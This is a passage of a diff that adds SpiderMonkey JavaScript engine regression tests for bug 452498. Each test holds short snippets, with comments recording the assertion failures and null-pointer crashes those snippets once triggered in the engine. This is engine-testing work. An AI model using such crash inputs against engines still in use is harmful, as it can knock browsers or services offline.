+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '1';
+
+// ------- Comment #74 From Jesse Ruderman
+
+ const [d] = [1]; print(actual = d);
+
+ actual = String(actual);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-075.js b/js/src/tests/js1_8_1/regress/regress-452498-075.js
new file mode 100644
index 000000000..7b5945719
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-075.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #75 From Jesse Ruderman
+
+ (function p(){ p = 3; });
+ (function p(){ p = 3; return p; })()
+// Assertion failure: regs.sp == StackBase(fp), at ../jsinterp.cpp:2980
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-076.js b/js/src/tests/js1_8_1/regress/regress-452498-076.js
new file mode 100644
index 000000000..925f3db03
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-076.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #76 From Jesse Ruderman
+
+ for (let d = 0; d < 4; ++d) { d; }
+// 1: ReferenceError: d is not defined
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-079.js b/js/src/tests/js1_8_1/regress/regress-452498-079.js
new file mode 100644
index 000000000..d8b3a1f1d
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-079.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jason Orendorff
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #79 From Jason Orendorff
+
+ x; var x; function x() 0
+
+// Assertion failure: !(pn->pn_dflags & flag), at ../jsparse.h:635
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-082.js b/js/src/tests/js1_8_1/regress/regress-452498-082.js
new file mode 100644
index 000000000..5568cf8f5
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-082.js
@@ -0,0 +1,84 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #82 From Gary Kwong [:nth10sd]
+
+// =====
+
+ (function(){function x(){} {let x = [] }});
+
+// =====
+
+ var f = new Function("new function x(){ return x |= function(){} } ([], function(){})");
+ "" + f;
+
+// =====
+
+ uneval(function(){[y] = [x];});
+
+// =====
+
+ function g(code)
+ {
+ var f = new Function(code);
+ f();
+ }
+ g("for (var x = 0; x < 3; ++x)(new (function(){})());");
+
+// =====
+ try
+ {
+ eval(
+ 'for(let [\n' +
+ 'function x () { M:if([1,,]) }\n'
+ );
+ }
+ catch(ex)
+ {
+ }
+
+// =====
+
+ try
+ {
+ function foo(code)
+ {
+ var c;
+ eval("const c, x5 = c;");
+ }
+ foo();
+ }
+ catch(ex)
+ {
+ }
+
+// =====
+
+ var f = new Function("[] = [( '' )()];");
+ "" + f;
+
+// =====
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-092.js b/js/src/tests/js1_8_1/regress/regress-452498-092.js
new file mode 100644
index 000000000..54d42c8af
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-092.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #92 From Jesse Ruderman
+
+ expect = 'SyntaxError: redeclaration of formal parameter e';
+ try
+ {
+ eval('(function (e) { var e; const e = undefined; });');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+// Without patch: "SyntaxError: redeclaration of var e"
+// expected new behavior // With patch: "SyntaxError: redeclaration of formal parameter e:"
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-101.js b/js/src/tests/js1_8_1/regress/regress-452498-101.js
new file mode 100644
index 000000000..5bd15b2b7
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-101.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #101 From Gary Kwong [:nth10sd]
+
+ uneval(function(){with({functional: []}){x5, y = this;const y = undefined }});
+// Assertion failure: strcmp(rval, with_cookie) == 0, at ../jsopcode.cpp:2567
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-102.js b/js/src/tests/js1_8_1/regress/regress-452498-102.js
new file mode 100644
index 000000000..0aa60e4ec
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-102.js
@@ -0,0 +1,69 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #102 From Gary Kwong [:nth10sd]
+
+// =====
+
+ (function(){function x(){} function x()y})();
+
+// Assertion failure: JOF_OPTYPE(op) == JOF_ATOM, at ../jsemit.cpp:1710
+
+// =====
+ function f() {
+ "" + (function(){
+ for( ; [function(){}] ; x = 0)
+ with({x: ""}) {
+ const x = []
+ }});
+ }
+ f();
+
+// Assertion failure: ss->top - saveTop <= 1U, at ../jsopcode.cpp:2156
+
+// =====
+
+ try
+ {
+ function f() {
+ var x;
+ eval("const x = [];");
+ }
+ f();
+ }
+ catch(ex)
+ {
+ }
+// Assertion failure: regs.sp == StackBase(fp), at ../jsinterp.cpp:2984
+
+// Assertion failure: cg->staticLevel >= level, at ../jsemit.cpp:2014
+// Crash [@ BindNameToSlot] in opt without -j
+
+// =====
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
+
+
+
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-104.js b/js/src/tests/js1_8_1/regress/regress-452498-104.js
new file mode 100644
index 000000000..19ade2695
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-104.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #104 From Jesse Ruderman
+
+ (function(a) { function b() { a; } function a() { } })();
+// Assertion failure: pn_defn, at ../jsparse.h:655
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-111.js b/js/src/tests/js1_8_1/regress/regress-452498-111.js
new file mode 100644
index 000000000..0a6cb99a6
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-111.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #111 From Gary Kwong [:nth10sd]
+
+new Function("{function x(){}}");
+
+// Assertion failure: pn->pn_defn || (fun->flags & JSFUN_LAMBDA), at ../jsemit.cpp:4149
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
+
+
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-112.js b/js/src/tests/js1_8_1/regress/regress-452498-112.js
new file mode 100644
index 000000000..19aa63b10
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-112.js
@@ -0,0 +1,39 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #112 From Jesse Ruderman
+
+ expect = 'ReferenceError: can\'t access lexical declaration `q\' before initialization';
+
+ try
+ {
+ q = new Function("(function() { q(3); })(); const q = undefined;"); q();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-114-a.js b/js/src/tests/js1_8_1/regress/regress-452498-114-a.js
new file mode 100644
index 000000000..5d753f9eb
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-114-a.js
@@ -0,0 +1,43 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #114 From Gary Kwong [:nth10sd]
+
+ if (typeof timeout == 'function')
+ {
+ timeout(3);
+ try
+ {
+ eval('while(x|={}) with({}) const x;');
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, '');
+ }
+
+// Assertion failure: cg->stackDepth >= 0, at ../jsemit.cpp:185
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-114.js b/js/src/tests/js1_8_1/regress/regress-452498-114.js
new file mode 100644
index 000000000..8962ca956
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-114.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #114 From Gary Kwong [:nth10sd]
+
+ for (var x = 0; x < 3; ++x){ y = function (){} }
+
+// glorp!
+// Assertion failed: "Constantly false guard detected": 0 (../nanojit/LIR.cpp:999)
+// (note, this is with -j; I don't know what the glorp! message is about.)
+
+// =====
+ function y([{x: x, y}]){}
+
+// Assertion failure: UPVAR_FRAME_SKIP(pn->pn_cookie) == (pn->pn_defn ? cg->staticLevel : 0), at ../jsemit.cpp:3547
+
+// =====
+
+ try
+ {
+ eval("(1.3.__defineGetter__(\"\"));let (y, x) { var z = true, x = 0; }");
+ }
+ catch(ex)
+ {
+ }
+// Assertion failure: ATOM_IS_STRING(atom), at ../jsinterp.cpp:5691
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-116.js b/js/src/tests/js1_8_1/regress/regress-452498-116.js
new file mode 100644
index 000000000..c81b2b892
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-116.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #116 From Gary Kwong [:nth10sd]
+
+// -j
+ (new Function("for (var x = 0; x < 3; ++x) { (function(){})() } "))();
+
+//Crash [@ js_IsActiveWithOrBlock]
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-117.js b/js/src/tests/js1_8_1/regress/regress-452498-117.js
new file mode 100644
index 000000000..ce37ea418
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-117.js
@@ -0,0 +1,95 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #117 From Gary Kwong [:nth10sd]
+
+// The following all do not require -j.
+
+// =====
+
+ try
+ {
+ eval('x; function x(){}; const x = undefined;');
+ }
+ catch(ex)
+ {
+ }
+
+// Assertion failure: !pn->isPlaceholder(), at ../jsparse.cpp:4876
+// =====
+ (function(){ var x; eval("var x; x = null"); })();
+
+// Assertion failure: !(pnu->pn_dflags & PND_BOUND), at ../jsemit.cpp:1818
+// =====
+ (function(){const x = 0, y = delete x;})()
+
+// Assertion failure: JOF_OPTYPE(op) == JOF_ATOM, at ../jsemit.cpp:1710
+// =====
+ try
+ {
+ (function(){(yield []) (function(){with({}){x} }); const x = undefined;})();
+ }
+ catch(ex)
+ {
+ }
+
+// Assertion failure: pnu->pn_lexdef == dn, at ../jsemit.cpp:1817
+// =====
+ uneval(function(){arguments = ({ get y(){} }); for(var [arguments] in y ) (x);});
+
+// Assertion failure: n != 0, at ../jsfun.cpp:2689
+// =====
+ try
+ {
+ eval('(function(){{for(c in (function (){ for(x in (x1))window} )()) {const x = undefined;} }})();');
+ }
+ catch(ex)
+ {
+ }
+
+// Assertion failure: (fun->u.i.script)->upvarsOffset != 0, at ../jsfun.cpp:1537
+// Opt crash [@ js_NewFlatClosure] near null
+// =====
+ "" + function(){for(var [x] in x1) ([]); function x(){}}
+
+// Assertion failure: cg->stackDepth == stackDepth, at ../jsemit.cpp:3664
+// Opt crash [@ JS_ArenaRealloc] near null
+// =====
+ try
+ {
+ eval(
+ "for (a in (function(){" +
+ " for each (let x in ['']) { return new function x1 (\u3056) { yield x } ();" +
+ " }})())" +
+ " function(){}"
+ );
+ }
+ catch(ex)
+ {
+ }
+// Crash [@ js_Interpret] near null
+// =====
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-118.js b/js/src/tests/js1_8_1/regress/regress-452498-118.js
new file mode 100644
index 000000000..4c4ee1750
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-118.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #118 From Jesse Ruderman
+
+ (function() { (function() { e *= 4; })(); var e; })();
+
+//Without patch: no output
+//With patch: ReferenceError: reference to undefined property "e"
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-121.js b/js/src/tests/js1_8_1/regress/regress-452498-121.js
new file mode 100644
index 000000000..99cecd79b
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-121.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #121 From Gary Kwong [:nth10sd]
+
+// without -j
+ x = function()x;
+
+// Assertion failure: !(pn->pn_dflags & flag), at ../jsparse.h:651
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-123.js b/js/src/tests/js1_8_1/regress/regress-452498-123.js
new file mode 100644
index 000000000..ec9973fdd
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-123.js
@@ -0,0 +1,59 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+// ------- Comment #123 From Gary Kwong [:nth10sd]
+
+// Does not require -j:
+// =====
+ try
+ {
+ eval('y = (function (){y} for (x in []);');
+ }
+ catch(ex)
+ {
+ }
+
+// Assertion failure: !(pn->pn_dflags & flag), at ../jsparse.h:651
+// =====
+ (function(){for(var x in [arguments]){} function x(){}})();
+
+// Assertion failure: dn->pn_defn, at ../jsemit.cpp:1873
+// =====
+
+
+// Requires -j:
+// =====
+ (function(){ eval("for (x in ['', {}, '', {}]) { this; }" )})();
+
+// Assertion failure: fp->thisp == fp->argv[-1].toObjectOrNull(), at ../jstracer.cpp:4172
+// =====
+ for each (let x in ['', '', '']) { (new function(){} )}
+
+// Assertion failure: scope->object == ctor, at ../jsbuiltins.cpp:236
+// Opt crash [@ js_FastNewObject] near null
+// =====
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-129.js b/js/src/tests/js1_8_1/regress/regress-452498-129.js
new file mode 100644
index 000000000..b7f3c1474
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-129.js
@@ -0,0 +1,50 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #129 From Gary Kwong [:nth10sd]
+
+// Does not require -j:
+// =====
+try {
+ eval("({ set x x () { for(x in function(){}){}} })");
+} catch (e)
+{
+}
+
+// Assertion failure: JOF_OPTYPE(op) == JOF_ATOM, at ../jsemit.cpp:1710
+// =====
+
+try
+{
+ (function (){ eval("(function(){delete !function(){}});"); })();
+}
+catch(ex)
+{
+}
+// Debug crash [@ JSParseNode::isFunArg] at null
+// Opt crash [@ FindFunArgs] near null
+// =====
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-131.js b/js/src/tests/js1_8_1/regress/regress-452498-131.js
new file mode 100644
index 000000000..d4cb82384
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-131.js
@@ -0,0 +1,49 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #131 From Gary Kwong [:nth10sd]
+
+// Does not require -j:
+// =====
+ try
+ {
+ eval('((__defineGetter__, function (x) { function x(){} }) for');
+ }
+ catch(ex)
+ {
+ }
+// Assertion failure: pn->pn_cookie == FREE_UPVAR_COOKIE, at ../jsparse.cpp:5698
+// =====
+ try
+ {
+ eval('( "" ? 1.3 : x); *::*; x::x;');
+ }
+ catch(ex)
+ {
+ }
+// Assertion failure: pn != dn->dn_uses, at ../jsparse.cpp:1171
+// =====
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-135.js b/js/src/tests/js1_8_1/regress/regress-452498-135.js
new file mode 100644
index 000000000..b2bf72fab
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-135.js
@@ -0,0 +1,46 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+// ------- Comment #135 From Gary Kwong [:nth10sd]
+
+// -j is not required:
+// ===
+
+ for (let i = 0; i < 9; ++i) {
+ let m = i;
+ if (i % 3 == 1) {
+ print('' + (function() { return m; })());
+ }
+ }
+
+// Debug & opt crash [@ BindNameToSlot]
+
+// -j is required:
+// ===
+ for (let a=0;a<3;++a) for (let b=0;b<3;++b) if ((g=a|(a%b))) with({}){}
+
+// Assertion failure: OBJ_IS_CLONED_BLOCK(obj), at ../jsobj.cpp:2392
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-155.js b/js/src/tests/js1_8_1/regress/regress-452498-155.js
new file mode 100644
index 000000000..5798569fa
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-155.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ delete (1 ? window : function(){});
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_8_1/regress/regress-452498-160.js b/js/src/tests/js1_8_1/regress/regress-452498-160.js
new file mode 100644
index 000000000..6498a0b5a
--- /dev/null
+++ b/js/src/tests/js1_8_1/regress/regress-452498-160.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452498;
+var summary = 'TM: upvar2 regression tests';
